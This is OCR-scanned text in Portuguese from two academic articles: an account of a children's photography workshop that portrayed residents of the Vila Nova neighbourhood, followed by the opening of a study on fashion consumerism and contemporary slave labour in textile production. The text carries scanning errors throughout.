sondagem, pois detectamos as questbes técnicas a serem trabalhadas como: composicao,




enquadramento, posicao e forma de segurar a maquina, e exposicao fotografica. Questoes im-
portantes e que podem alterar, completamente, o sentido da fotografia. Tais aspectos também

sao mencionados por Schmidt (1999):

Para o observador da fotografia, a escolha deste ou daquele angulo parece
nao produzir alteracoes significativas no resultado final da foto. No entanto, uma
pequena modificacdo na diregao da camera, abertura em ponto no diafragma
alteram esta imagem, ou melhor criam outra imagem. (SCHMIDT, 1999 p. 12).

Essas questdes técnicas estao ligadas, diretamente, com a mensagem da fotografia
produzida e, por sua vez, é de grande importancia que as criancas saibam observar tais carac-
teristicas, uma vez que sao, nas linhas de uma composicao, na posicao de um enquadramento

e na exposicdo fotografica, que se dara parte desta leitura visual. Duarte (2000) salienta a

importancia de tais dominios no processo de significagdo da imagem:

[...] E preciso estar atento, pois todos os elementos interferem na produgao de
sentido: o plano destaca a importancia do tema em relagdo aos outros elementos
presentes na imagem; a composicao confere sequencialidade ou direcionalida-
de, levando o olhar a percorrer as imagens de acordo com um certo esquema
que descobre pontos essenciais e os valoriza; o enquadramento define a po-
sicdo dos sujeitos em relacdo as margens da imagem; as tomadas frontais e
laterais de sentido de ordem cultural [...] (DUARTE, 2000, p. 174).

Em um segundo momento, ocorreu uma saida de campo, em que pedimos aos alupos
para nos apresentarem o bairro por meio de fotos. Em nossa caminhada, as criancas fotggra-

faram suas casas e lugares onde brincam. Observamos que 0s alunos clicavam muitg sem



pensar no proposito de suas fotografias. Esse contexto é discutido por Jobim (2002) em seus

estudos sobre a discussao da pedagogia das imagens da seguinte forma:

A experiéncia atual com as imagens, quer sejam fotograficas, cinematograficas
ou televisivas, acontece na maioria das vezes de forma espontéanea, intermiten-
te, fragmentada, enfim, de modo superficial. Com a proliferacao das imagens a
cada dia elas perdem mais a capacidade de dizer algo a alguém, pois também
as pessoas que vivem essa dispersao perceptiva de modo permanente acabam
por perder a sensibilidade de ver as coisas. (JOBIM, 2002, p. 63).

Desde que a fotografia passou a ser vista como um texto simbdlico, sua importancia
aumentou dentro do sistema comunicacional. Segundo Junior (1995, p.33), a imagem deveria
passar por uma “acao de criacdo que resultaria em uma acdo de compreensao”. O que esta

acontecendo nos tempos atuais € uma produgao em massa de imagens que acaba por bana-

lizar o interesse por sua leitura. Nesse sentido Giglio (1995), lembra que

A reproducao de imagens fotograficas de acontecimentos do mundo inteiro na
imprensa cotidiana, a cinematografia e a televisao contribuiram também para
modificar o papel da imagem na sociedade contemporanea. Obedecendo ca-
racteristicas de produgéo em série e da difusdo massiva, ela deixa de ser uma
criagao artesanal para tornar-se uma produczo industrial. (GIGLIO, 1995, p. 50).

A poluicao visual reduz a funcao da imagem. Sao tantas que nos sao apresentadas qu

as vemos, sem ao menos questiona-las. Com a apropriacao técnica da fotografia, as criangas

poderao ser produtoras e consumidoras mais criticas deste universo imagético. Quem dornina

a técnica fotografica tera mais condicdes de dominar sua linguagem.




Para que os alunos pudessem produzir 0s retratos, era necessario o dominio técnico da
fotografia e foi, nesse percurso, que se desenvolveu um novo olhar. Esse dominio é essencial
para construirmos uma narrativa e interpretarmos os codigos visuais. Em tal perspectiva, Junior
(1995) ressalta que

De percepgéao aberta e polivalente, as imagens originam-se de uma percepcao
ativa e ordenadora na qual o “eu” do produtor/criador ganha existéncia na pre-
senca do “outro” receptor/espectador. Sugerindo mensagens, que podem ser
tao diversificadas quanto forem o publico, as imagens deixam de objetos passi-

vos de visualizagao para se constituirem em elementos ativos de interpretacao.
(JUNIOR, 1995, p. 32)

A composicao e o enquadramento foram os primeiros assuntos abordados. Os alunos
nao observavam todos os elementos presente na fotografia; apenas o assunto principal. Am-
pliamos algumas fotos do bairro, feitas no ultimo encontro, para mostrar todos os elementos
que constituem a imagem e que colaboram para construir uma composicao harmoniosa ou
nao. De imediato, os alunos comecaram a perceber objetos que poluiam a imagem e des-
viavam o foco no assunto principal. E, nesse sentido, que Guran (1999, p. 25) reforca que é
“fundamental olhar os quatro cantos do visor e eliminar ao maximo os assessorios, limpando a
fotografia de tudo que possa poluir a mensagem principal [...]. A eficiéncia da comunicacéo na
fotografia sofre com a presenca de componentes nao organizados”.

Além da composicao, o enquadramento também foi analisado nas imagens. Nesse
que

992,

momento, falamos sobre o posicionamento do fotografo perante a cena observada, e
uma leve angulagao pode afetar completamente o sentido da imagem. Segundo Guran

p.29), “enquadrar uma cena € organizar no visor da camera todos os elementos geométricos




3 RETRATOS NO
ESTUDIO E NO BAIRRO

que formam sua realidade plastica”. Ensinamos, também, trés tipos diferentes de planos na
hora de enquadrar: geral, americano e detalhe, para que assim percebam suas intengdes e
diferencas na imagem. Os planos ajudam a contar uma histéria e seu uso tem interferéncia

direta na narrativa.

Apbs a apropriacao técnica da fotografia, demos inicio a producéao dos retratos, que foi
dividida em dois momentos. O primeiro foi a produgéo dos retratos dos alunos, que também
sao moradores do bairro, e, por sua vez, ajudam a construir sua historia. Além disso, queriamos
mostrar para os alunos outras possibilidades da fotografia, maneiras diferentes de se produzir
uma imagem, nas quais os flashes passam a exercer papel principal. Esses nos dao a possibili-
dade de construir uma iluminacgao artificial e, com isso, obter um maior controle e precisao com
a estética que se deseja na fotografia. Segundo Guran (1999, p.35), “Fotografia é luz, e, por
conseguinte, sombra € o que da volume e profundidade plastica a uma imagem. A intensidade,
o tipo e a direcao da luz sao fatores determinantes para o resultado de uma foto”. Para isso, le-
vamos 0s alunos para o estudio fotografico da universidade para que os estudantes pudessem
compreender estes processos e terem uma nova experiéncia ao trabalharem esses recursos.

Para exercitarem, os tipos de iluminagao que aprenderam, pedimos para os alungs
formarem duplas para cada um fazer um retrato do colega. Montamos dois sets, um que Qos-
sibilitasse a luz dura (iluminacao Low-Key) e outra a suave (iluminagéo High-Key), assim/eles
puderam ver as diferencas com a propria foto que produziram. Eles conseguiram pergeber,

ainda, algumas funcoes, tais como: abertura do diafragma, velocidade do obturador e ¢ ISO,




Figura 2: Retratos dos alunos utilizando a iluminagéo High-Key.
Fonte: Acervo do projeto Nosso Bairro em Pauta.

configuragdes essenciais para uma boa exposicao e, no caso
de alguns retratos, conseguir o movimento congelado. Confor-

me Hurter (2011),

Uma fotografia € somente uma representa-
¢ao bidimensional, de uma realidade tridi-
mensional, por isso, o objetivo do fotografo
€ produzir um retrato que mostre a circun-
feréncia e a forma do rosto humano. Isso &
feito primeiramente com destaques (areas
que sao iluminadas com fontes de luz) e
sombras (areas que nao sdo). Assim como
um escultor modela a argila para criar a
iluséo de profundidade, a luz modela a for-
ma do rosto para dar-lhe profundidade e
forma. (HURTER, 2011, p.99).

Apos a experiéncia dos retratos do estudio entramos
na segunda etapa que foi fotografar os moradores do bairro.
O desafio da producao dos retratos mostrou-se uma possibili-
dade de promover novos olhares para o local onde vivem. As
saidas contribuiram para um olhar mais engajado com a sua
comunidade.

Durante semanas, fotografamos moradores, comgr-
ciantes, artesoes, estudantes, entre tantas pessoas que cofisti-
tuem o cenario do bairro Vila Nova. Em cada retrato, con
mos uma nova histdria, um novo jeito, uma nova personali

caracteristicas percebidas diferentemente por cada cranga,




Figura 5 - Produgéo dos alunos Figura 6 - Produgéo dos alunos

Fontes: Acervo do projeto Nosso Bairro em Pauta.

que, com seu olhar e as nogdes estéticas aprendidas na ofi-
cina, retratavam a pessoa. Conforme Hurter (2011, p.19), “Um
bom retrato fornece informacoes a respeito do “eu” da pessoa.
Através da iluminagao controlada, da pose e da composicao, o
fotografo se empenha ao maximo para capturar a esséncia do
modelo, de uma so vez registrando sua personalidade”.

A uniao dos retratos ao nosso planejamento contribuiu,
significativamente, para ampliar a nossa proposta, porque fo-
tografar os moradores pode ser considerado uma via de mao
dupla. Em outras palavras, ao mesmo tempo em que descobri-
mos pessoas, revelavamos novos angulos do bairro e novas

possibilidades de enxerga-lo.

Ha mais de quinhentos anos que os es-
tudos do homem vivem sob a hegemonia
da verbalidade, da escrita em especial.
Nao tenho certeza que os filhos de nossos
filhos saberao ler e escrever como sabe-
mos fazé-lo. Eu sei, desde ja, que o ado-
lescente informatizado n&o olha o mundo,
da mesma maneira que eu o descobria
quarenta anos. Uma coisa é certa: os fio-
mens de amanha enunciarao e organZalo-
-840 a partir de outros parametros logicos,
gerados pelos novos suportes comunica-
cionais que continuaréo esculpindg. (SA-
MAIN, 1995, p. 9).




A fotografia, como uma importante poténcia entre os meios de comunicagao, se mostra,
dentro do projeto, aqui apresentado, como uma ferramenta para que os jovens revelem uma
visao propria sobre seu bairro, sua realidade. Tivemos aqui a oportunidade de problematizar

com 0 grupo a construgdo do nosso olhar quando somos subjetivados pela midia todos os

dias. As criangas produziram os retratos, respeitando as orientagdes técnicas que sao funda-
mentais na construgao de uma narrativa por imagens. A seguir compartilhamos o depoimento

de algumas criangas sobre a experiéncia com os retratos:

Eu cuidava o fundo da foto, para ser um lugar bonito e a foto ficar mais bonita.
Eu gostei de passear pelo bairro, eu nunca tinha feito isso, foi legal. Eu foto-
grafei minha vo, estava ali no xis do meu tio, porque estava pegando fritas, dafi
eu encontrei ela e a professora disse que podia tirar uma foto dela. Fiz a foto
da cintura para cima e cuidei o fundo. Ela disse que achou bem legal (Izadora
de Brito, 9 anos).

O que mais gostei foi tirar fotos dos moradores, porque a gente tirou fotos de
um monte pessoas que eu conheco. Eu lembro que a gente foi la em casa
fotografar minha vo, foi legal e fiquei envergonhado, até ela ficou, mas fez a
foto. Eu cuidei para a cdmera néo ficar balangcado, ndo mexer as médos para
ficar certinha a foto. Fiz ela da cintura para cima. Achei legal entrar dentro do
estudio de fotografia, a gente tirou um monte de fotos la dentro, a gente usou
tipo um guarda-chuva e um painel branco, pode deixar as fotos mais claras e
escolher o tom (Jaua Welter, 9 anos).

A gente aprendeu a tirar fotos no plano americano, so rosto e enfeite. Essa par-
te eu gostei, porque a gente aprendeu mais sobre fotografia e podemos Jusar
isso em outros lugares, como no casamento da minha dinda. Eu gostaya de
fotografar o enfeite, porque a gente vé uma coisa de bonito que a pess
A oficina além de ajudar minha vida, me fez aprender novas coisas alén] de so
ficar na escola. Entrar dentro do estudio de fotografia me deu uma sehsacéao

tem.




meio estranha de conhecer algo novo. La a gente aprendeu outro tipo de foto,
eu ajudei a Eliane a tirar fotos e ela me ajudou. Entdo, além de aprender mais
coisas a gente relacionou a amizade. Cada foto no estudio tinha uma coisa
sobre um significado diferente. A luz mais escura foi que mais gostei, me dava
um pouco de medo e a mais clara me sentia livre. Além de gostar muito de
fotografar os moradores, a gente conheceu gente nova: muita gente que nos
fotografamos eu ndo conhecia, s6 a minha mae, assim nds fizemos mais amiza-
des. Quando nos iamos fotografar os moradores eles pediam para se arrumar,
e, na hora de fotografar, eu me preocupava com os detalhes que elas tinham
(Bianca Carnetti, 9 anos).

Os depoimentos das criangas sobre a experiéncia na producao dos retratos dos cole-

gas e dos moradores demonstram a importancia de investir em projetos que levem a fotografia

para o contexto escolar. Nesse sentido, Achutti (1997) nos faz refletir sobre a importancia de

nos apropriarmos tecnicamente de ferramentas para discutir a relagao imagem, midia e cultu-

ra: “Hoje se procura pensar a imagem fotografica como veiculo, como meio eficaz de ajudar a

fluirem ideias, sensacgoes, discursos, com os mais diversos propositos que vao desde a publi-

cidade a antropologia” (ACHUTTI, 1997, p. 78).

Da mesma forma, os depoimentos dos moradores do bairro sobre a experiéncia de

terem sido retratados pelas criancas expressam a produtividade do encontro de geragdes por

meio da fotografia.

Desde crianga, eu gostava de flores, sempre gostei. Um dia desses perjsei
assim para mim: ha eu vou vender flores, porque dai plantava e vendia.
prei minhas primeiras mudinhas em Porto Alegre, onde minha amiga Clarisse
comprava, tinham muitas flores e fiquei buscando la por 15 anos. Morro[ha 53
anos no bairro e meu marido a 73. O dia que as criancas vieram aqui, el mos-
trei para elas as flores e elas escolheram algumas para eu segurar naljanela.




Foi bem legal, foi bom as criangas terem vindo aqui. Elas ja vinham antes, as
vezes, quanto eu estava de aniversario, vinham cantar parabéns para mim,
SO que elas queriam torta, mas eu n&o tinha feito ainda. Me senti bem em ser
fotografada pelas criancas, meio envergonhada. Eu queria ter me arrumado,
mas ndo cheguei a me arrumar, fiquei como eu estava. Sempre é bom mostrar
alguma coisa do bairro (lalda Lanzer, 72 anos).

Eu gosto de criancas e essas atividades. Sou moradora do bairro ha 42 anos,
minha filha tinha 18 anos quando vim morar aqui. No inicio, as ruas eram cheias
de valos e barro, ndo se tinha asfalto. Onde € a Feevale hoje, era s6é mato. Ti-
nha, também, o campo do Vila Nova, que hoje néo existe mais. No dia da foto,
eu estava sentada na frente de casa e alguém me chamou, entéo entrou aquela
turminha de criangas pelo portdo. Nos conversamos, as criangas conversaram.
Tinha umas trés criancas paradas perto de mim que me posicionaram e fizeram
a foto. Eu fiquei contente naquele dia, muito feliz pelas criangas terem vindo
a minha casa. Achei bacana e fiquei pensando quantos moradores vao fazer
i8S0 nas suas casas. Bonito eles quererem conhecer a histéria dos moradores,
assim as coisas nao ficam paradas (Olivia Prass, 80 anos).

Outro depoimento € da professora responsavel pela turma Juliana Henrich, que registra

0 envolvimento que os alunos tiveram com a oficina e a importancia da fotografia e as vivencias

na comunidade como praticas de ensino.

O dia da oficina era lembrado pela turma no dia anterior, portanto era um
momento muito esperado. O linguajar mais técnico da fotografia em si passo
a fazer parte das conversas das aulas, onde exemplificavam os contetudos de-
senvolvidos em aula com o mesmo. Passei a perceber uma maior preocupatao
e cuidado com o birro em si. As criangas comegaram a ver os “detalheg” do
mesmo, assim como foram levados a ver os detalhes nos moradores aq foto-
grafa-los. Com isso, se tornaram mais criticos, trazendo a vivéncia das saidas,
caminhadas e conversas com os moradores nos diferentes assuntos dis¢utidos
nos momentos de sala de aula. As caminhadas pela comunidade trolixeram




Fonte: Acervo do projeto Nosso Bairro em Pauta .

Figura 7 - Retrato da florista

Figura 8 - Retrato do carroceiro

um olhar sobre os colegas e, consequen-
temente, um entendimento sobre diferen-
tes pontos. Entrar no estudio, presenciar
todos os equipamentos serem montados
e ajeitados para que eles fossem fotogra-
far os encantaram. Queriam saber para
que cada equipamento servia e quando
usariam. Depois, ficaram maravilhados ao
verem suas producoées. Foi muito bom re-
alizar esta atividade, trouxe um “tempero”
especial as aulas. Ainda mais, esta que
trabalhou tanto o novo (fotografia) como
o0 conhecido (a sua comunidade e as
pessoas que nela vivem: seus amigos,
vizinhos, ex-alunos da sua escola, fami-
liares). Este momento foi muito importan-
te para eles, pois foram eles quem nos
conduziam pelas ruas da comunidade:
espago deles” (Juliana Henrich, 47 anos).




CONS|DERACOES O desenvolvimento deste estudo, que teve como proposta a construgao de um novo

INAIS olhar, conclui-se apos trés meses de oficina. Foi através dos retratos dos moradores que apre-
sentamos, aos alunos, uma nova maneira de olhar essa proliferacéo fotografica em que vive-
mos e que esta operante na cultura visual associada a cultura do consumo. A imagem passa
a nao ter sentido se ndao € compreendida e é, nesse sentido, que as regras comunicacionais
advindas dos suportes de producao fotografica nos alfabetizam para a leitura das imagens.
A partir deste trabalho, os jovens estao desenvolvendo possibilidades de uma nova leitura da
midia, ampliando a compreensao de seu processo de constru¢cao. A educacao estética, atra-
vés da técnica fotografica, sendo a fotografia um dos principais produtos da cultura midiatica
na contemporaneidade, propiciou a leitura de imagens e a redescoberta de seus angulos e

enquadramentos para sua realidade. Quando nos voltamos para uma fotografia, observamos

um recorte do tempo, um segundo congelado. As imagens nos apresentam um convite ao
conhecimento, uma vez que, diante dela, tornamo-nos detetives, procurando compreender o
olhar de seu criador, suas inten¢des diante de um mundo. Nosso Bairro, Nossa gente nao traz
solucdes, mas possibilidades e novas inquietacdes. A oficina tem um término, mas este estudo

tera novas conclusoes a partir de novos projetos.
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0 presente estudo apresenta alguns dos principais fatores que influenciam os habitos
de consumo da sociedade atual por meio de determinados recortes histdricos. Relata
brevemente a cronologia da evolucdo da Moda como fenomeno e a participacdo do
individuo como consumidor dvido por novos produtos. Por fim, expde as bases e critérios
adotados pelo mercado de consumo em massa na producao e comercializacao desses
artigos, atentando aos processos de cadeias de producdo, condicdes e tecnicalidades do
ambiente de trabalho e abusos corporativos.

Palavras-Chave: Moda. Comportamento de consumo. Economia sustentavel. Etica.
Trabalho forcado.

BSTRAC

This study presents some of the most important factors that influence consumer habits of
contemporary society through certain historical analysis. Briefly recounts the chronology
of the evolution of fashion as a phenomenon and the participation of the individual as an
avid consumer of products. Finally, exposes the bases and criteria adopted by the mass
consumer market in the production and marketing of these items, paying attention to
the processes of production chains, conditions and technicalities of the work environment
and corporate abuses.

Keywords: Fashion. Consume behavior. Sustainable economy. Ethics. Forced labor.




INTRODUCAO

Esta pesquisa aborda a relagdo entre a moda e o consumismo para identificar como
suas influéncias refletem nos habitos de consumo da populacao. Ao aprofundar-se na questao
que trata o trabalho escravo contemporaneo como um problema recorrente na sociedade, bus-
cando compreender qual seria sua relacdo com o tema proposto. Inicialmente, o assunto em
pauta nao possui pesquisas ou bibliografias aprofundadas, portanto, este estudo contribuira
para um melhor esclarecimento dos fatores externos que estao contribuindo e estimulando o
trabalho escravo contemporaneo. De maneira geral, sua importancia deve-se a compreensao
ampla dos eventos e sistemas que fomentam o mercado e indUstria de moda e a possibilidade
de sugerir uma opgao menos impactante aos meios social, econémico e ambiental.

Como objetivo geral, esta pesquisa visa compreender de que forma a producao e o
consumo excessivo de itens de moda esta fomentando cadeias de producao irregulares ao re-
dor do mundo, além de incentivar pessoas ao desperdicio e a desvalorizagao de significados.
Especificamente, pretende compreender como a moda, em sua efemeridade, esta cumprindo
seu papel de unir o passado, presente e futuro, ao pregar o individualismo do ser, priorizando
o parecer em detrimento da reflexao e do pensar. Além disso, pretende-se mensurar o impacto
da globalizacao no ambito da moda e do consumo, abordando aspectos econdmicos que
implicam no desenvolvimento da industria e do varejo de moda em paises subdesenvolvidos.
Outro objetivo especifico € apontar processos de cadeias de producao, condigdes e tecnic
dades do ambiente de trabalho e abusos corporativos e questionar a indiferenca da moda/em
relagcao as normas objetivas da vida.

Para isso, inicia-se com um breve esclarecimento da moda como influenciadora de

consumo para a sociedade moderna, amarrando as influéncias e consequéncias trazidas




para dentro de sua estrutura social por autores como Gilles Lipovetsky (1989) e Marcos Co-
bra (2010). Em um segundo momento, apresenta autores como Pierre Bourdieu (1983) e Lars

Svendsen (2010) para definir como a moda pode ser interpretada e hipervalorizada pelo indi-

viduo de maneira infrene, transpondo significados e distorcendo principios éticos. Como con-
sequéncia disso, Naomi Klein (2008) e Ana Mery Sehbe De Carli (2010) introduzem o conceito
e as consequéncias do branding adotado por marcas de moda advindos da globalizacao e do
sistema capitalista que movem as atuais economias mundiais.
Em seguida, traz-se a definicao de trabalho escravo contemporaneo fundamentado
por conceitos internacionais e nacionais de 6rgaos como a International Labour Organization
(2009), sua filial brasileira — para identificar assuntos pertinentes ao Brasil — e a ONG Reporter
Brasil (2015) — principal 6rgdo de investigacdo, pesquisa e comunicagéo do tema no pais. a
Dados pertinentes ao ambito da moda foram levantados para que fosse possivel ter uma esti-

mativa do impacto da industria téxtil neste cenario em uma escala mundial.

2 Mo DA PARA Para compreender o mercado atual de consumo em massa € preciso pensar na moda
como a engrenagem principal que estimula esse comportamento na sociedade contempo-
NSUMO ranea. Nao so no vestuario, mas atraves de todos os téxteis presentes em nossos lares, ela
envolve uma parte significante dos produtos consumidos durante a vida e, por meio dejes,
traduz aspectos sociais e estéticos de cada €poca, localidade e geracdes ao longo da hisforia.
Segundo Lipovetsky (1989), a moda &, antes de tudo, um mecanismo social caracterizado por

um intervalo de tempo particularmente breve e, por suas mudancgas, ela lhes permite atingir



esferas distintas da vida coletiva. Cobra (2010, p.126) complementa este pensamento ao dizer
que “a moda €, sobretudo, um negocio que acompanha a tendéncia da economia, dos estilos
de vida das pessoas, seus comportamentos e, principalmente, seus desejos. Ha nesse sentido
uma integragdo mundial e, ao mesmo tempo, interdependéncia de e entre mercados”.

O principio da moda seria, portanto, criar novas necessidades em uma velocidade
constantemente crescente, pois as velhas nos entediam. A fim de reproduzir necessidades
emocionais e psicolégicas no consumidor contemporaneo, ela utiliza-se do sistema de criagao
e venda de tendéncias com a intencao de distinguir o individuo dentro da classe social a qual
pertence — ou idealiza pertencer — fomentando a diferenciagao por status. Como a analise de
mercado ndo consegue ditar essas necessidades, pois elas ainda nao existem, nao resta alter-

nativa sendo inventa-las.

A moda pode ser uma servidao, mas € uma servidao voluntaria. Nenhuma marca ne-
nhum costureiro pode nos obrigar a viver na obediéncia e no respeito as tendéncias.
Existe apenas uma pessoa suficientemente forte para nos levar a seguir a moda: nos
mesmos. Finalmente, a moda seria uma mentira banal, se néo fosse, antes de tudo,
uma mentira na qual queremos e até gostamos de acreditar. (ERNER, 2005, p.26-27).

A infinita aquisicao e descarte de produtos sao as forgas motrizes do eixo da industria
téxtil atual e este cenario se faz essencial para perceber o consumo de moda como o princip
promotor de compra de bens téxteis e acessorios. Ao acompanhar a légica do fast fashign,
produtos passam a ter um ciclo de vida cada vez mais curto, obrigando mercados a potercia-
lizarem suas vendas da mesma maneira e ocasionando uma restruturacao e renovacag dos

estoques cada vez mais rapido. A relacao superficial gerada entre produto e consumi



com que seu valor intrinseco e sua funcionalidade sejam deixados de lado e seu tempo de vida
no mercado fica a mercé das mudangas da moda.

Uma vez que essa fatia de consumidores com acesso as mais novas tendéncias tem o
poder capital e simbolico de adota-las imediatamente, esta forgca torna-se propulsora por tras
do comportamento de consumo e descarte excessivo. Pierre Bourdieu (1983) acredita que as
posses determinam a personalidade dos individuos. Assim, possuir e consumir bens, mate-
riais ou imateriais, representa muito mais do que simples aquisicdes para o homem moderno.
O valor agregado a esses objetos transcendem eles proprios. Sabe-se que as pessoas nao
compram produtos simplesmente para atender as suas necessidades basicas, “elas procuram
também satisfazer desejos explicitos, conscientes, ou mesmo desejos ocultos, que se locali-
zam em seu inconsciente”. (COBRA, 2010, p.26-27). A indUstria se aproveita desses anseios
para criar falsas necessidades para que, em funcao do desejo de ter, o individuo trabalhe em
um ciclo interminavel de compra por impulso, satisfacdo momentanea e rejeicao de significado.

Porém, este nao é um regime obrigatorio imposto pela humanidade. O mercado de
consumo em massa tornou-se individualizado ao produzir e lan¢ar, em muitas variantes, aces-
sorios que permitem a criagcdo da expressao individual do usuario e, para Svendsen (2010), a

moda torna-se justamente isto — mais uma questao de escolha individualista do que obediéncia

as leis do estilo. Ainda assim, o homem moderno nao consegue estabelecer-se Unico por mejo
do consumo, pois o foco deste, atualmente, nao € precisamente formar identidades, mas
gerar transitoriedade de valores para fomentar seu sistema.

Em uma civilizacao onde até mesmo as classes mais destituidas economicamente sao

estimuladas ao consumo para tornar-se parte de uma dinamica social, sdo criadas expecta-




tivas que se transformam naturalmente em frustracdes a partir do momento em que nado se
concretizam. Este ciclo vicioso é sustentado pela constante sensacéo de vazio deixada por
bens de consumo que rapidamente tornam-se obsoletos e da inicio a uma nova busca de
significados, apresentando-se dessa forma como uma solucéo paliativa de compensacao das
desilusdes da vida moderna. A crescente decepgao e os dissabores da vida privada estariam
impulsionando a febre consumista, ocasionando o surgimento de um novo perfil de consumi-

dor, cada vez mais individualizado.

O consumidor, cujo ego passa a ser sede das estrategias mais subliminares do marke-
ting de moda, é seduzido, capturado e embevecido pela beleza dos produtos, por seu
diferencial e valor agregado, podendo deixar de considerar como sendo importante
ou fundamental a origem do produto e em que condigdes ele foi obtido, beneficiado
e transformado em bem de uso. [...] Em vista disso, podemos ainda encontrar, nesse
conjunto das praticas contemporaneas da moda, desde agentes dissimuladores da
crueldade e da perversidade, até pacifistas e politicos engajados em movimentos de
estilo. Sim, uma das possibilidades da moda ¢é a eufemizagao de toda brutalidade e dor
que se possa ter causado na extragéo e obtencao de determinada matéria, através da
promogao de um dado valor simbdlico agregado ao produto. (DE CARLI; MANFREDINI,
2010, p. 69).

Nesse contexto, em que parecer vale mais do que ser ou ter, os responsaveis pelo
gerenciamento de identidades de marca comecaram a analisar seu trabalho como algo que
compete diretamente com a producao da fabrica e nao em conjunto. Em outras palavras, essas
empresas descobriram que o branding poderia ser usado para substituir todo o valor agregado

desses produtos. Naomi Klein (2008, p.119) aponta que:




De acordo com essa logica, as corporagdes ndo devem gastar seus recursos finitos em
fabricas que exigirao manutencao fisica, em maquinas que sofrerdo corroséo ou funcio-
narios que certamente envelhecerao e morrerdao. Em vez disso, elas devem concentrar
seus recursos nos elementos utilizados para construir suas marcas; isto €, patrocinios,
embalagem, expansao e publicidade. Elas devem também gastar em sinergias: com-
prar canais de distribuicao e varejo para levar sua marca as pessoas.

Pela l6gica, quando o processo de fabricacao é tao desvalorizado, € mais provavel que
os trabalhadores envolvidos na fabricacao sejam menosprezados e considerados descarta-
veis. Berlim (2012) esclarece que nesse sistema eles ndo tém direitos. Hoje, emigrantes sao
encontrados trabalhando em poroes, containeres e predios sem qualquer higiene e seguranca
com muito mais frequéncia do que se imagina. Em sua grande maioria, esses trabalhadores

sao criancas e jovens mulheres, cumprindo uma jornada de trabalho de mais de doze horas

por dia. Os donos de confecc¢des valem-se da extrema pobreza e vulnerabilidade de algumas
comunidades para usufruirem de uma produgao maior e mais rapida, focada no aumento do
lucro e na rapidez da entrega de demandas cada vez maiores enquanto “[...] as corporagbes

em questao tem garantido que nao tenham de encarar a possibilidade de que adultos com

familias dependem dos salarios que elas pagam”. (KLEIN, 2008, p.264).

Produtos de moda sao aceitos e consumidos pela populagcao, mesmo sabendo que
existem pessoas sendo terrivelmente exploradas em cadeias de confecgdo. Em um mund
globalizado, uma grande parcela demonstra ndo compreender de que forma sé&o obtidos esges
produtos com precos tao contraditorios. Sabe-se que as sociedades projetam em suas agdes
um conjunto de ideias e valores a fim de justificar o que produzem e consomem, constriiindo

sua propria logica para definir percepcoes, criar necessidades e expandir mercados. Contudo,



outra questao advinda deste processo € a guerra ideoldgica que abre espago para debates

sobre 0 que seria considerado de fato consumo necessario e o que seria supérfluo.

A sociedade de consumo tende a alienar o objeto do sentido original de necessidade,
tratando de multiplicar aceleradamente, ad infinitum, as necessidades de outras na-

turezas que nao sao primarias, assinalando que, além do teto, do alimento, da roupa,
palavras como conforto, estilo, arquitetura, arte, iguarias, especiarias da india, rendas,
joias e plumas estetizam a vida e vivificam os sentidos do homem no seu cotidiano. (DE
CARLI, 2002, p.38).

Para a autora, a sociedade busca apoderar e desfazer-se de tais significados em busca
de mudancas. Hoje oferecidas pela moda, essas transformagoes vém estimulando uma revolu-

¢ao na producao e consumo de simbolos. Consequentemente, ela ocasiona modificacbes em

suas condicoes sociais e sistemas de vida, fazendo com que o consumidor produza constantes
caréncias materiais por possuir algo melhor.
Nossa enorme economia produtiva demanda que fagcamos do consumo 0 nosso es-

tilo de vida, que convertamos a compra e 0 uso de bens em rituais, que busquemos

nossa satisfacao espiritual, a satisfacdo de nosso ego, no consumo. O nivel de status

social, de aceitacao social, de prestigio, € agora estabelecido por nossos padroes de
consumo. [...] Quanto maior a presséo sobre o individuo para que ele aceite e assuma
esses padrdes sociais, mais ele tende a expressar suas aspiracdes e individualidade na

maneira em que se veste, dirige, come. (LEBOW, 1955, p.3).

Na década de 1950, o economista americano e especialista em varejo, Victor Lebo
tratava sobre o consumo desenfreado da sociedade advindo do american lifestyle adotado pe-

los consumidores. As mudangas neste cenario exigiram que fossem encontrados novos dpelos




para essa necessidade e, atualmente, industrias estao lidando com o excesso de producao e
estoques abarrotados de produtos da maneira mais rapida e eficaz — com grandes promocoes
e queimas de estoque periodicas. Contudo, mesmo ao fim do seu ciclo sazonal, o valor ofere-

cido por estes produtos nao paga por todos 0s processos que passa.

E preciso muito para fazer uma peca de roupa. N4o apenas o pouco que ouvi-
mos falar — os designers, as marcas, as lojas, os desfiles e as festas —, mas tam-
bém os agricultores que cultivam algodéo, as empresas de descarogamento,
fiacao , tecel®es, tintureiros , esgotos e outros trabalhadores da fabrica sem os
quais a industria nao existiria. Essas pessoas, as pessoas que fazem as nos-
sas roupas, estao escondidas de nds, muitas vezes, as suas proprias custas.
(FASHION REVOLUTION, 2015).

Este sistema de consumo adotado como modus operandis da existéncia do individuo

demonstra que a moda em si passou a ser mais do que uma vestimenta que agrega signifi-
cados. De acordo com Parode, Remus e Visona (2010), ao aprofundar-se em sua estrutura, €
possivel perceber que ela nos mostra apenas uma pequena propor¢cao de sua maquina pro-

dutiva, ambiciosa e geradora de conceitos sempre renovaveis. Efetivamente, se for feita uma

analise sobre seus metodos de desenvolvimento e concepgao de produtos, constata-se que,
apesar de sua evolucao, o processo de formacao de territorios, logicas e sistemas do poder

nao deixou de ser menos injusto.




0 TRABALHO
SCRAVO
CONTEMPORANEOQ

Em seu formato “tradicional”, a exploracao de méo de obra se fundamentava em cren-
cas, costumes, estruturas agrarias ou de produgédo deixados como legado do colonialismo.
Tais costumes também resultaram em sistemas de discriminacdo e desigualdade social com
relagéo aos grupos considerados minorias — como povos tribais ou as castas, na Asia, e povos
indigenas na América Latina — que persistem em guiar pre-julgamentos inseridos na sociedade
até hoje. Com a globalizagado e o acesso facilitado a migragao, sua forma mais “moderna” é
associada a busca de vantagens financeiras de maneira ilegal por meio de diversos atores.

Desde 1960 ocorreram transformacdes econébmicas ao redor do mundo que ocasiona-
ram mudancas significativas nas relacdes de trabalho. Nos ultimos anos, mais de um quarto
da produgao mundial de roupas passou a ser fabricada na China — o restante & produzido em
paises como Bangladesh, india, Turquia, México, Haiti, Camboja, Paquistdo e Roménia. (LEE,
2009). Segundo o relatorio da Walk Free Foundation (2014) estima-se que 35,8 milhdes de
pessoas vivem em condicOes de trabalho analogas a escravidao em 167 paises — 71% delas
encontram-se na India, China, Paquistdo, Uzbequistdo, Russia, Nigéria, Republica Democra-
tica do Congo, Indonésia, Bangladesh e Tailandia. Vale frisar que esses dados representam
uma estimativa quantitativa minima, pois as fontes basicas de informagédo e sua correlacao

